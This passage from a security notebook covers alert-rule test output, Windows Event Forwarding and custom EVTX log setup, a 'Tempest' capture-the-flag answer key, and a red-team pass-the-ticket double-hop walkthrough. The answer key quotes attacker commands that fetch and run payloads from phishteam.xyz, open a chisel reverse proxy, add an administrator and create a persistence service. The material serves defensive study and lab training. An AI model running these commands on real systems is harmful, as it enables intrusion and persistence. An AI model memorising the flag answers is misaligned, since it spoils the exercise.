    │ test_4     │ FAILED   │ > 7 LOG(S) DID NOT MATCH: agg_log001.json, agg_log002.json, │
    │            │          │   agg_log003.json, agg_log004.json, agg_log005.json,        │
    │            │          │   log001.json, log003.json                                  │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_agg_1 │ FAILED   │ > HITS (5) EXCEEDED THE THRESHOLD                           │
    ╘════════════╧══════════╧═════════════════════════════════════════════════════════════╛
```

### verbose (**`--verbose`**)

```
(v_env) $ python elastalerter.py --logs ./logs --rules ./rules --expected ./expected.json --verbose
```

```
[+] RUNNING test_1 :
    [+] A NEW INDEX ( test_1 ) WAS CREATED
    [+] TIMESTAMP RANGE -- [2019-09-16T15:59:57 - 2019-09-16T15:59:57]
    [+] TESTING RULE -- RULE01 ( ./rule01.yaml )
    [+] UPDATING RESULTS...
    [+] DELETING TEST INDEX...
    [+] TEST ( test_1 ) PASSED

[+] RUNNING test_2 :
    [+] A NEW INDEX ( test_2 ) WAS CREATED
    [+] TIMESTAMP RANGE -- [2019-09-16T15:59:57 - 2019-09-16T15:59:57]
    [+] TESTING RULE -- RULE02 ( ./rule02.yaml )
    [+] UPDATING RESULTS...
    [+] DELETING TEST INDEX...
    [+] TEST ( test_2 ) PASSED

[+] RUNNING test_3 :
    [+] A NEW INDEX ( test_3 ) WAS CREATED
    [+] TIMESTAMP RANGE -- [2019-09-16T15:59:57 - 2019-09-16T15:59:57]
    [+] TESTING RULE -- RULE01 ( ./rule01.yaml )
    [+] UPDATING RESULTS...
    [+] DELETING TEST INDEX...
    [+] TEST ( test_3 ) FAILED

[+] RUNNING test_4 :
    [+] A NEW INDEX ( test_4 ) WAS CREATED
    [+] SPECIFIED LOGS IS A DIRECTORY ( ./logs )
        [ERROR] "test_file" IS NOT A VALID JSON FILE.
        [ERROR] "test_file.json" IS NOT A VALID LOG FILE.
    [+] TIMESTAMP RANGE -- [2019-09-16T15:59:57 - 2019-09-16T15:59:57]
    [+] TESTING RULE -- RULE02 ( ./rule02.yaml )
    [+] UPDATING RESULTS...
    [+] DELETING TEST INDEX...
    [+] TEST ( test_4 ) FAILED

[+] RUNNING test_agg_1 :
    [+] A NEW INDEX ( test_agg_1 ) WAS CREATED
    [+] TIMESTAMP RANGE -- [2019-09-16T15:59:57 - 2019-09-16T15:59:57]
    [+] TESTING RULE -- AGG_RULE01 ( ./agg_rule01.yaml )
    [+] UPDATING RESULTS...
    [+] DELETING TEST INDEX...
    [+] TEST ( test_agg_1 ) FAILED

[+] RUNNING test_agg_02 :
    [+] TEST ( test_agg_2 ) WAS DISABLED


[+] RESULTS WERE OUTPUT TO CURRENT_WORKING_DIRECTORY/results.json

    ╒════════════╤══════════╤═════════════════════════════════════════════════════════════╕
    │ TestID     │ RESULT   │ MESSAGE                                                     │
    ╞════════════╪══════════╪═════════════════════════════════════════════════════════════╡
    │ test_1     │ PASSED   │                                                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_2     │ PASSED   │                                                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_3     │ FAILED   │ > 1 LOG(S) MATCHED: log001.json                             │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_4     │ FAILED   │ > 7 LOG(S) DID NOT MATCH: agg_log001.json, agg_log002.json, │
    │            │          │   agg_log003.json, agg_log004.json, agg_log005.json,        │
    │            │          │   log001.json, log003.json                                  │
    ├────────────┼──────────┼─────────────────────────────────────────────────────────────┤
    │ test_agg_1 │ FAILED   │ > HITS (5) EXCEEDED THE THRESHOLD                           │
    ╘════════════╧══════════╧═════════════════════════════════════════════════════════════╛
```


# Windows Event Fowarder

This lays out how to create a sbuscription (both source and collector initiated) that collects selected forwarded .evtx event logs from a workstation to a domain controller.

## SUMMARY

This shows the process of how to create custom **`.evtx`** log files using **`ecmangen.exe`** and other utilities present in the [**Windows Development Kit**](https://go.microsoft.com/fwlink/p/?LinkId=838916). The log file(s) created could be used as a destination log for forwarded events.

## **ENVIRONMENT:**

#### MACHINES:

| HOSTNAME        | MACHINE IP      | OS                               | REMARKS           |
| --------------- | --------------- | -------------------------------- | ----------------- |
| MSEDGEWIN10     | 192.168.150.128 | Windows 10 Enterprise Evaluation | Source Machine    |
| WIN-BO2CT95INDP | 192.168.150.133 | Windows Server 2016              | Collector Machine |

* The FQDN for WIN-BO2CT95INDP is **win-bo2ct95indp.bossmanben.local**

## **ASSUMPTIONS:**

#### 1.  The Source Machine (MSEDGEWIN10) is part of a Domain Controller (WIN-BO2CT95INDP).

#### 2. This guide uses ***Security Logs*** as an example.

#### 3. The steps below will create a subscription that collects ***Security logs*** from the **Source Machine** (MSEDGEWIN10).

## **PROCEDURE:**

### **1. Start the WinRM service**

1. Open **PowerShell** on the Source Machine (MSEDGEWIN10):

   ```
   winrm quickconfig
   ```

   Add the Collector Machine to the Source Machine's trustedhosts:

   ```
   Set-Item wsman:localhost/client/trustedhosts 192.168.150.133
   ```

   Restart the service for changes to take effect:

   ```
   Restart-Service WinRM
   ```
2. Check if the service is running:

   ```
   winrm get winrm/config
   ```

   `AllowRemoteAccess = true` signifies that the service is running.

   ```
   ...omitted...
           AllowRemoteAccess = true
       Winrs
           AllowRemoteShellAccess = true
   ...omitted...
   ```
3. Test if the Collector Machine (BOSSMANBEN) is reachable using WinRM:

   ```
   Test-WSMan WIN-BO2CT95INDP
   ```

   ```
   wsmid           : http://schemas.dmtf.org/wbem/wsman/identity/1/wsmanidentity.xsd
   ProtocolVersion : http://schemas.dmtf.org/wbem/wsman/1/wsman.xsd
   ProductVendor   : Microsoft Corporation
   ProductVersion  : OS: 0.0.0 SP: 0.0 Stack: 3.0
   ```

   WinRM is **enabled by default** on Windows Server 2012 and up. This is just a measure to check if the Collector Machine is indeed reachable.

### **ii. Add the Collector Machine to the Event Log Readers groups**

#### **In the Source Machine (MSEDGEWIN10):**

1. Open the **Local Users and Groups**:
   * Press `Win` + `R` then enter `lusrmgr.msc`
2. Navigate to `Local Users and Groups (Local)` **>** `Groups`:
   1. Right-click `Event Log Readers` and select `Properties`
   2. Select `Add...`
3. Select `Object Types...` then check the box, `Computers`
4. `Enter the object names to select` -- "***WIN-BO2CT95INDP***"
   * Select `Check Names` for good measure.
5. Select `OK` when done.

### **iii. Create Subscriptions using Event Viewer**

#### **In the Collector Machine (WIN-BO2CT95INDP):**

Open the **Event Viewer** -- Press `Win` + `R` then enter gpedit `eventvwr.msc` and on the left panel, right-click on `Subscriptions` then select `Create Subscription...`

1. `Subscription Name` -- Remote Security Logs
2. `Description` -- Security Logs from the Domain Computer, MSEDGEWIN10
3. `Destination log` -- Forwarded Events
   * Custom logs could be created but `Forwarded Events` is selected by default.
   * Click [here](https://app.gitbook.com/s/-Mfagag8d4yY8yveDJY3/projects/blue-team/Custom-evtx-Logfiles.html) to create custom logs.
4. Select `Subscription type and source computers`:

   If you choose `Collector initiated`, then select `Select Computers...`

   1. Select `Add Domain Computers...`
   2. `Enter the object name to select` -- "***MSEDGEWIN10***"
   3. Select `Check Names` for good measure.
   4. Select `OK`
   5. Select `Test` for good measure.
   6. Select `OK`

   For `Source initiated`, select `Select Computer Groups...` then do the following extra steps on the Source Machine

   1. Press `Win` + `R` then enter `gpedit.msc`
      1. Navigate to `Computer Management` **>** `Administrative Templates` **>** `Windows Components` **>** `Event Forwarding`
      2. Right-click on `Configure target Subscription Manager` then select `Edit`
      3. Choose `Enabled`
      4. Under `Options`, beside `SubscriptionManagers`, press `Show...`
      5. Enter `Server= http://win-bo2ct95indp.bossmanben.local:5985 /wsman/SubscriptionManager/WEC, Refresh=30`
      6. Press `OK`
      7. Press `OK`
   2. Open **PowerShell** or **cmd** the run `gpupdate /force`

   For `Source initiated`, do the following on the Collector Machine (WIN-BO2CT95INDP)

   1. Open **PowerShell** or **cmd** then run `wecutil quick-config`        &#x20;
5. Select `Select Events...`:
   1. `Logged` -- "***Any time***"
   2. `Event level` -- ***Critical***, ***Error***, ***Information***, ***Warning***
   3. Choose `By log` -- ***Windows*** -> ***Security***
   4. Filter **Event IDs** -- 4624, 4657, 4688, 4698, 4720, 4722, 4724, 4732, 4738, 4769
   5. Select `OK`
6. Select `Advanced...`:

   1. `User Account` -- Choose `Machine Account`
   2. `Event Delivery Optimization` -- Choose `Minimize Latency`
   3. Select `OK`

   | OPTION             | DESCRIPTION                          | INTERVAL                     |
   | ------------------ | ------------------------------------ | ---------------------------- |
   | Normal             | Does not conserve bandwidth          | 15 minutes via pull delivery |
   | Minimize Bandwidth | Bandwidth for delivery is controlled | 6 hours via push delivery    |
   | Minimize Latency   | Delivery with minimal delay          | 30 seconds via push delivery |
7. Select `OK`
8. Right-click on the newly created subscription then select `Runtime Status`:

   ```
   [MSEDGEWIN10.bossmanben.local] - Error - Last retry time: 7/17/2019 8:27:52 PM. 
   Code (0x138C): <f:ProviderFault provider="Event Forwarding Plugin" path="C:\Windows\system32\wevtfwd.dll"
   ```

#### **In the Source Machine (WIN-BO2CT95INDP)**

1. Run `wevtutil`:

   ```
   wevtutil get-log Security
   ```

   ```
   name: Security
   enabled: true
   type: Admin
   owningPublisher:
   isolation: Custom
   channelAccess: O:BAG:SYD:(A;;0xf0005;;;SY)(A;;0x5;;;BA)(A;;0x1;;;S-1-5-32-573)
   logging:
     logFileName: %SystemRoot%\System32\Winevt\Logs\Security.evtx
     retention: false
     autoBackup: false
     maxSize: 20971520
   publishing:
     fileMax: 1
   ```
2. Add the **Network Service Account** (S-1-5-20) to the `channelAccess` field:

   ```
   wevtutil set-log Security /ca:"O:BAG:SYD:(A;;0xf0005;;;SY)(A;;0x5;;;BA)(A;;0x1;;;S-1-5-32-573)(A;;0x1;;;S-1-5-20)"
   ```

   * WinRM runs under the ***Network Service Account*** which had no access to the **Security Logs**

#### **Going back to the Collector Machine (WIN-BO2CT95INDP)**

1. Go to the **Event Viewer**:
   * Press `Win` + `R` then enter gpedit `eventvwr.msc`
2. On the left panel, go to `Subscriptions` then select the recently created subscription
3. On the right panel, under the ***subscription name***, select `Retry`
4. Right-click on the recently created subscription then select `Runtime Status`:

   ```
   [MSEDGEWIN10.bossmanben.local] - Active - : No additional status.
   ```

   * An Event with **ID 100 (Name="SubscribeSuccess")** will appear on ***Microsoft-Windows-Event-ForwardPlugin/Operational*** in the Source Machine (MSEDGEWIN10)

**Finally, Wait for logs to be sent to the Forwarded Events logs**

**NOTE(S)**:

* TImestamps are preserved
* Log contents are preserved

## **REFERENCES:**

```
- https://www.vkernel.ro/blog/how-to-configure-windows-event-log-forwarding?fbclid=IwAR1bQ9VpgL--PWaqvEWcJBduR3xJ2UnBBhZmO7UGef-NXcKN9PCINZ3gmQ0
- https://www.itprotoday.com/strategy/q-what-are-some-simple-tips-testing-and-troubleshooting-windows-event-forwarding-and?fbclid=IwAR3ceGoJU-jgkD2U_rVo2FmQee5M0spvE85lZRVw0FHv4YFTphLaX-5JJe8
- https://rockyprogress.wordpress.com/2011/12/04/security-event-log-collection-from-a-domain-controller/?fbclid=IwAR01Puy9Wvr4eCQeV828raqfLesYJwVTw_8EAmDgvJIKYBVWoaT3giv24PA
- https://blogs.technet.microsoft.com/supportingwindows/2016/07/18/setting-up-a-source-initiated-subscription-on-an-event-collector-computer/?fbclid=IwAR2JagIePrComWaIcZknK_92Igakb4_jvnrmJJnGpZlFGnms_2PM7z6trJc
```


# Custom EVTX Logs

## SUMMARY

This lays out how to create a subscription (both source and collector initiated) that collects selected forwarded **`.evtx`** event logs from a workstation to a domain controller.

## ENVIRONMENT

| WINDOWS         | OS                           | BUILD NO.              | REMARKS           |
| --------------- | ---------------------------- | ---------------------- | ----------------- |
| WIN-BO2CT95INDP | Windows Server 2016 Standard | 10.0.14393 Build 14393 | Collector Machine |

## APPLICATIONS/TOOLS USED

1. Windows SDK (Development Kit):
   * ecmangen.exe
   * mc.exe (Message Compiler)
   * rc.exe (Resource Compiler)
2. csc.exe (C# Compiler)
3. wevtutil

* **ecmangen.exe** was removed from the Windows 10 SDK starting from 10.0.16299.15
  * Parallel installations of Windows SDK are allowed.
  * In this case, [Windows 10 SDK (10.0.14393.795)](https://go.microsoft.com/fwlink/p/?LinkId=838916) was installed alongside the latest SDK version.
* **csc.exe** is included in the ***Microsoft .NET Framework***.
  * **.NET Framework** is native to Windows Operating Systems.
  * The Framework's version depends on the OS installed.
* **wevtutil** is a command native to the ***Command Prompt***

## PROCEDURE

### 1. Create a manifest file

Open `ecmangen.exe`:

```
C:\Program Files (x86)\Windows Kits\10\bin\x64\ecmangen.exe
```

Create a new ***provider***:

1. On the left panel, right click on `Events Section` then select **New** -> **Provider**.
2. Fill up the following fields:

   | FIELD     | VALUE                              |
   | --------- | ---------------------------------- |
   | Name      | WEF-Events                         |
   | Symbol    | WEF\_Events                        |
   | GUID      | Press "New" beside the input field |
   | Resources | C:\Windows\System32\WEF-Events.dll |
   | Messages  | C:\Windows\System32\WEF-Events.dll |

On the right panel, click on `Save`. Then, create a new ***template***:

1. On the left panel, under `WEF-Events`, select `Templates`.
2. On the right panel, select `New Template`.&#x20;
3. Fill up the following fields:

   | FIELD | VALUE        |
   | ----- | ------------ |
   | Name  | WEF-Template |
4. Add `Field Attributes`:

   | Name    | InType            | OutType        | Count   | Length  |
   | ------- | ----------------- | -------------- | ------- | ------- |
   | Unicode | win:UnicodeString | xs:string      | default | default |
   | UInt32  | win:UInt32        | xs:unsignedInt | default | -       |
5. On the right panel, click `Save`.

Create ***channels*** (maximum of 8):

1. On the left panel, under `WEF-Events`, select `Channels`.
2. On the right panel, select `New Channel`.
3. Fill up the following fields:

   | NAME           | SYMBOL          | TYPE        | ENABLE | DESCRIPTION        | CHANNEL SECURITY |
   | -------------- | --------------- | ----------- | ------ | ------------------ | ---------------- |
   | WEF-Security   | WEF\_Security   | Operational | Yes    | DC Security Logs   | Default          |
   | WEF-System     | WEF\_System     | Operational | Yes    | DC System Logs     | Default          |
   | WEF-PowerShell | WEF\_PowerShell | Operational | Yes    | DC PowerShell Logs | Default          |
   | WEF-Sysmon     | WEF\_Sysmon     | Operational | Yes    | DC Sysmon Logs     | Default          |
4. On the right panel, click `Save`.

Create a new ***event***:

1. On the left panel, under `WEF-Events`, select `Events`.
2. On the right panel, select `New Event`.
3. Fill up the following fields:

   | FIELD    | VALUE                                      |
   | -------- | ------------------------------------------ |
   | Symbol   | WEF\_Event                                 |
   | Event ID | 6969                                       |
   | Message  | $(string.WEF-Events.event.6969.message)    |
   | Channel  | WEF-Security                               |
   | Template | WEF-Template                               |
   | Keywords | \`win:AuditSuccess\`, \`win:AuditFailure\` |
4. On the right panel, click on `Save`.

Save the manifest file as "**WEF\_Events.man**"

* Avoid using the character, '`-`', in the filename.
  * The generated C# file during compiling will face an error.
* Resulting manifest file (XML formatted):

  ```markup
  <?xml version="1.0"?>
  <instrumentationManifest xsi:schemaLocation="http://schemas.microsoft.com/win/2004/08/events eventman.xsd" xmlns="http://schemas.microsoft.com/win/2004/08/events" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:trace="http://schemas.microsoft.com/win/2004/08/events/trace">
    <instrumentation>
   <events>
        <provider name="WEF-Events" guid="{CB3EB4AA-FEDD-41C4-A7BB-E173045E4DC7}" symbol="WEF_Events" resourceFileName="C:\Windows\System32\WEF_Events.dll" messageFileName="C:\Windows\System32\WEF_Events.dll">
          <events>
            <event symbol="WEF_Event" value="6969" version="0" channel="WEF-Security" template="WEF-Template" keywords="win:AuditSuccess win:AuditFailure " message="$(string.WEF-Events.event.6969.message)"></event>
          </events>
          <channels>
            <channel name="WEF-Security" chid="WEF-Security" symbol="WEF_Security" type="Operational" enabled="true" message="$(string.WEF-Events.channel.WEF_Security.message)"></channel>
            <channel name="WEF-System" chid="WEF-System" symbol="WEF_System" type="Operational" enabled="true" message="$(string.WEF-Events.channel.WEF_System.message)"></channel>
            <channel name="WEF-PowerShell" chid="WEF-PowerShell" symbol="WEF_PowerShell" type="Operational" enabled="true" message="$(string.WEF-Events.channel.WEF_PowerShell.message)"></channel>
            <channel name="WEF-Sysmon" chid="WEF-Sysmon" symbol="WEF_Sysmon" type="Operational" enabled="true" message="$(string.WEF-Events.channel.WEF_Sysmon.message)"></channel>
          </channels>
          <keywords></keywords>
          <templates>
            <template tid="WEF-Template">
              <data name="Unicode" inType="win:UnicodeString" outType="xs:string"></data>
          <data name="UInt32" inType="win:UInt32" outType="xs:unsignedInt"></data>
            </template>
          </templates>
        </provider>
      </events>
    </instrumentation>
    <localization>
      <resources culture="en-US">
        <stringTable>
          <string id="keyword.AuditSuccess" value="Audit Success"></string>
          <string id="keyword.AuditFailure" value="Audit Failure"></string>
          <string id="WEF-Events.event.6969.message" value="$(string.WEF-Events.event.6969.message)"></string>
          <string id="WEF-Events.channel.WEF_System.message" value="DC System Logs"></string>
          <string id="WEF-Events.channel.WEF_Sysmon.message" value="DC Sysmon Logs"></string>
          <string id="WEF-Events.channel.WEF_Security.message" value="DC Security Logs"></string>
          <string id="WEF-Events.channel.WEF_PowerShell.message" value="DC PowerShell Logs"></string>
        </stringTable>
      </resources>
    </localization>
  </instrumentationManifest>
  ```

### 2. Compile the manifest file and generate relevant files (e.g. WEF-Events.dll)

Press `Win` + `R` then enter `cmd` and navigate to where `WEF_Events.man` was saved. Then, enter the following commands:&#x20;

1\. **mc.exe** (Message Compiler)

```
   "C:\Program Files (x86)\Windows Kits\10\bin\x64\mc.exe" WEF_Events.man
   "C:\Program Files (x86)\Windows Kits\10\bin\x64\mc.exe" -css WEF_Events.DummyEvent WEF_Events.man
```

* The compiler generates the message resource files to which your application links.
* Switches used:

  | OPTION            | DESCRIPTION                                                                                                                                  |
  | ----------------- | -------------------------------------------------------------------------------------------------------------------------------------------- |
  | -css \<namespace> | <ul><li>Generates a static C# class</li><li>It includes the methods that you would call to log the events defined in your manifest</li></ul> |

File(s) generated after execution:

* MSG00001.bin
* WEF\_Events.cs
* WEF\_Events.h
* WEF\_Events.rc
* WEF\_EventsTEMP.bin

2\. **rc.exe** (Resource Compiler)

```
"C:\Program Files (x86)\Windows Kits\10\bin\x64\rc.exe" WEF_Events.rc

# Microsoft (R) Windows (R) Resource Compiler Version 10.0.10011.16384
# Copyright (C) Microsoft Corporation.  All rights reserved.
```

* `rc.exe` compiles an application's resources and could be used to build Windows-based applications.
* File(s) generated after execution:
  * WEF\_Events.res

3\. **csc.exe** (C# Compiler)

```
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /win32res:WEF_Events.res /unsafe /target:library /out:WEF_Events.dll WEF_Events.cs
```

* No output means the command was successfully executed&#x20;
* Switches used:

  | OPTION            | DESCRIPTION                                                                         |
  | ----------------- | ----------------------------------------------------------------------------------- |
  | /win32res:\<file> | Specify a Win32 resource file (.res)                                                |
  | /unsafe           | Allow 'unsafe' code                                                                 |
  | /target:library   | Build a library (Short form: /t:library)                                            |
  | /out:\<file>      | Specify output file name (default: base name of file with main class or first file) |
* File(s) generated after execution -- WEF\_Events.dll

### 3. Install the **manifest file** with the matching **dll file**:

1. Move both files to the `C:\Windows\System32` directory:

   ```
   copy .\WEF_Events.man C:\Windows\System32\WEF_Events.man
   copy .\WEF_Events.dll C:\Windows\System32\WEF_Events.dll
   ```
2. Install the manifest file using `wevtutil`:

   ```
   wevtutil im C:\Windows\System32\WEF_Events.man
   ```

### 4. The created logs should appear under `Applications and Services Logs` inside **Event Viewer**

* The logs generated could be used for created subscriptions.
* Additional columns could be added/removed from the logs (e.g. `Log`, `Computer`)&#x20;

## REFERENCES

```
- https://blogs.technet.microsoft.com/russellt/2016/05/18/creating-custom-windows-event-forwarding-logs/
- https://stackoverflow.com/questions/53028775/cannot-locate-ecmangen
- https://developer.microsoft.com/en-us/windows/downloads/sdk-archive
- https://blogs.msdn.microsoft.com/astebner/2007/03/14/mailbag-what-version-of-the-net-framework-is-included-in-what-version-of-the-os/
- https://docs.microsoft.com/en-us/windows/win32/wes/message-compiler--mc-exe-
- https://docs.microsoft.com/en-us/windows/win32/menurc/using-rc-the-rc-command-line-
```


# Flags


# Tempest

Flags

## FLAG SUMMARY

#### Preparation

{% tabs %}
{% tab title="Tools and Artifacts" %}
What is the SHA256 hash of the capture.pcapng file?

```
CB3A1E6ACFB246F256FBFEFDB6F494941AA30A5A7C3F5258C3E63CFA27A23DC6
```

What is the SHA256 hash of the sysmon.evtx file?

```
665DC3519C2C235188201B5A8594FEA205C3BCBC75193363B87D2837ACA3C91F
```

What is the SHA256 hash of the windows.evtx file?

```
D0279D5292BC5B25595115032820C978838678F4333B725998CFE9253E186D60
```

{% endtab %}
{% endtabs %}

#### Initial Access

{% tabs %}
{% tab title="Malicious Document" %}
The user of this machine was compromised by a malicious document. What is the file name of the document?

```
free_magicules.doc
```

What is the name of the compromised user and machine? (username-machine name)

```
benimaru-TEMPEST
```

What is the PID of the Microsoft Word process that opened the malicious document?

```
496
```

Based on Sysmon logs, what is the IPv4 address resolved by the malicious domain used in the previous question?

```
167.71.199.191
```

What is the base64 encoded string in the malicious payload executed by the document?

```
JGFwcD1bRW52aXJvbm1lbnRdOjpHZXRGb2xkZXJQYXRoKCdBcHBsaWNhdGlvbkRhdGEnKTtjZCAiJGFwcFxNaWNyb3NvZnRcV2luZG93c1xTdGFydCBNZW51XFByb2dyYW1zXFN0YXJ0dXAiOyBpd3IgaHR0cDovL3BoaXNodGVhbS54eXovMDJkY2YwNy91cGRhdGUuemlwIC1vdXRmaWxlIHVwZGF0ZS56aXA7IEV4cGFuZC1BcmNoaXZlIC5cdXBkYXRlLnppcCAtRGVzdGluYXRpb25QYXRoIC47IHJtIHVwZGF0ZS56aXA7Cg==
```

What is the CVE number of the exploit used by the attacker to achieve a remote code execution? (Format: XXXX-XXXXX)

```
2022-30190
```

{% endtab %}

{% tab title="Stage 2 Execution" %}
The malicious execution of the payload wrote a file on the system. What is the full target path of the payload?

```powershell
C:\Users\benimaru\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
```

The implanted payload executes once the user logs into the machine. What is the executed command upon a successful login of the compromised user? (Format: Remove the double quotes from the log.)

```powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w hiddennoni certutil -urlcache -split -f 'http://phishteam.xyz/02dcf07/first.exe' C:\Users\Public\Downloads\first.exe; C:\Users\Public\Downloads\first.exe
```

Based on Sysmon logs, what is the SHA256 hash of the malicious binary downloaded for stage 2 execution?

```
CE278CA242AA2023A4FE04067B0A32FBD3CA1599746C160949868FFC7FC3D7D8
```

The stage 2 payload downloaded establishes a connection to a c2 server. What is the domain and port used by the attacker? (Format: domain:port)

```
resolvecyber.xyz:80
```

{% endtab %}

{% tab title="Malicious Document Traffic" %}
What is the URL of the malicious payload embedded in the document?

```
http://phishteam.xyz/02dcf07/index.html
```

What is the encoding used by the attacker on the c2 connection?

```
base64
```

The malicious c2 binary sends a payload using a parameter that contains the executed command results. What is the parameter used by the binary?

```
q
```

The malicious c2 binary connects to a specific URL to get the command to be executed. What is the URL used by the binary?

```
/9ab62b5
```

What is the HTTP method used by the binary?

```
GET
```

Based on the user agent, what programming language was used by the attacker to compile the binary? (Format: Answer in lowercase)

```
nim
```

{% endtab %}
{% endtabs %}

#### Discovery

{% tabs %}
{% tab title="Initial Reconnaissance" %}
The attacker was able to discover a sensitive file inside the machine of the user. What is the password discovered on the aforementioned file?

```
infernotempest
```

The attacker then enumerated the list of listening ports inside the machine. What is the listening port that could provide a remote shell inside the machine?

```
5985
```

The attacker then established a reverse socks proxy to access the internal services hosted inside the machine. What is the command executed by the attacker to establish the connection? (Format: Remove the double quotes from the log.)

```powershell
C:\Users\benimaru\Downloads\ch.exe client 167.71.199.191:8080 R:socks
```

What is the SHA256 hash of the binary used by the attacker to establish the reverse socks proxy connection?

```
8A99353662CCAE117D2BB22EFD8C43D7169060450BE413AF763E8AD7522D2451
```

What is the name of the tool used by the attacker based on the SHA256 hash? Provide the answer in lowercase.

```
chisel
```

The attacker then used the harvested credentials from the machine. Based on the succeeding process after the execution of the socks proxy, what service did the attacker use to authenticate? (Format: Answer in lowercase)

```
winrm
```

{% endtab %}
{% endtabs %}

#### Privilege Escalation

{% tabs %}
{% tab title="Exploiting Privileges" %}
After discovering the privileges of the current user, the attacker then downloaded another binary to be used for privilege escalation. What is the name and the SHA256 hash of the binary? (Format: binary name,SHA256 hash)

```
spf.exe,8524FBC0D73E711E69D60C64F1F1B7BEF35C986705880643DD4D5E17779E586D
```

Based on the SHA256 hash of the binary, what is the name of the tool used? (Format: Answer in lowercase)

```
printspoofer
```

The tool exploits a specific privilege owned by the user. What is the name of the privilege?

```
SeImpersonatePrivilege
```

Then, the attacker executed the tool with another binary to establish a c2 connection. What is the name of the binary?

```
final.exe
```

The binary connects to a different port from the first c2 connection. What is the port used?

```
8080
```

{% endtab %}
{% endtabs %}

#### Actions on Objectives

{% tabs %}
{% tab title="Fully-owned Machine" %}
Upon achieving SYSTEM access, the attacker then created two users. What are the account names? (Format: Answer in alphabetical order - comma delimited)

```
shion,shuna
```

Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?

```
/add
```

Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?

```
4720
```

The attacker added one of the accounts in the local administrator's group. What is the command used by the attacker?

```powershell
net localgroup administrators /add shion
```

Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?

```
4732
```

After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this? (Format: Remove the double quotes from the log.)

```powershell
C:\Windows\system32\sc.exe \\TEMPEST create TempestUpdate2 binpath= C:\ProgramData\fina
```

{% endtab %}
{% endtabs %}


# Red Team


# PTT: Double Hop Bypass

## OVERVIEW

The double-hop problem occurs when, for example, a local PowerShell instance connected via PSRemoting to a remote server which is connected to the target server and an attempt to execute commands on the target server was made and was rejected. The end goal of this proof-of-concept is to execute a pass-the-ticket attack on an active directory while being remotely connected to a domain computer with administrator privileges.

## ENVIRONMENT SET-UP:

### MACHINES:

| HOSTNAME        | MACHINE IP      | OS                               | REMARKS                           |
| --------------- | --------------- | -------------------------------- | --------------------------------- |
| KALI-WINDOWS    | 192.168.150.1   | Windows 10                       | An Attacker Machine               |
| MSEDGEWIN10     | 192.168.150.128 | Windows 10 Enterprise Evaluation | A Remote Machine; Domain Computer |
| WIN-BO2CT95INDP | 192.168.150.133 | Windows Server 2016              | A Domain Controller               |

### USERS:

| USER                       | MACHINE      | PRIVILEGES                       |
| -------------------------- | ------------ | -------------------------------- |
| kali-windows               | KALI-WINDOWS | Local Administrator              |
| BOSSMANBEN\\\GConcy        | MSEDGEWIN10  | Local Administrator; Domain User |
| BOSSMANBEN\\\Administrator | MSEDGEWIN10  | Domain Administrator             |

## ASSUMPTIONS:

### i. WinRM is enabled on both local and remote machines

1. Both machines IPs are listed in each other's trustedhosts
2. `-skipnetworkprofilecheck` is enabled (to allow connection over a public network)
3. Proper firewall exceptions are in place in the remote machine

### ii. The remote machine is part of a Domain Controller (BOSSMANBEN)

1. A domain user is a local administrator to the remote machine
2. Credentials to the said domain user are known

### iii. The Domain Administrator has logged in to the remote machine (MSEDGEWIN10)

1. The logon action generates a ticket for the Domain Administrator
2. The TGT expires over a definite period of time (6 hours in this case)
3. Pass-the-Ticket could be done as long as the TGT hasn't expired yet

### iv. The local machine (KALI-WINDOWS) can communicate with the remote machine (MSEDGEWIN10)

## EXPLOITATION:

### i. Establish a session using PSRemoting

1. Enter a session for the domain user, **BOSSMANBEN\GConcy** then, enter the credentials for **BOSSMANBEN\GConcy** in the password prompt

   ```
   Enter-PSSession -ComputerName 192.168.150.128 -Credential BOSSMANBEN\GConcy
   ```
2. Check for cached tickets using `klist`. The current established session doesn't seem to be a ***recognized*** session:

   ```
   Current LogonId is 0:0xc7fbc
   Error calling API LsaCallAuthenticationPackage (ShowTickets substatus): 1312

   klist failed with 0xc000005f/-1073741729: A specified logon session does not exist. It may already have been terminated.
   ```
3. Register the current session while inside the PSSession created:

   ```
   Register-PSSessionConfiguration -Name GodConcy -RunAsCredential BOSSMANBEN\GConcy
   ```

   ```
   WARNING: When RunAs is enabled in a Windows PowerShell session configuration, the Windows security model cannot enforce a security 
   boundary between different user sessions that are created by using this endpoint. Verify that the Windows PowerShell runspace 
   configuration is restricted to only the necessary set of cmdlets and capabilities.
   WARNING: Register-PSSessionConfiguration may need to restart the WinRM service if a configuration using this name has recently been 
   unregistered, certain system data structures may still be cached. In that case, a restart of WinRM may be required.
   All WinRM sessions connected to Windows PowerShell session configurations, such as Microsoft.PowerShell and session configurations that 
   are created with the Register-PSSessionConfiguration cmdlet, are disconnected.


   WSManConfig: Microsoft.WSMan.Management\WSMan::localhost\Plugin

   Type            Keys                                Name
   ----            ----                                ----
   Container       {Name=GodConcy}                     GodConcy
   ...omitted...
   ```

   Enter the credentials for BOSSMANBEN\GConcy in the password prompt

   ```
   PS /> Get-PSSessionConfiguration

     Name          : GodConcy
     PSVersion     : 5.1
     StartupScript :
     RunAsUser     : BOSSMANBEN\GConcy
     Permission    : NT AUTHORITY\INTERACTIVE AccessAllowed, BUILTIN\Administrators AccessAllowed, BUILTIN\Remote Management Users AccessAllowed

     ...omitted...
   ```
4. Run `klist` again:

   ```
   Current LogonId is 0:0xc7fbc

   Cached Tickets: (0)
   ```

   * `klist` can now check for cached tickets
   * Passing exported tickets using `Invoke-Mimikatz` would throw the same error from the previous `klist` if a proper session is not configured.
   * Even if an Administrator ticket was passed successfully, passing commands in or accessing the Domain Controller would be denied
     * The entire session should be restarted with the proper configuration.
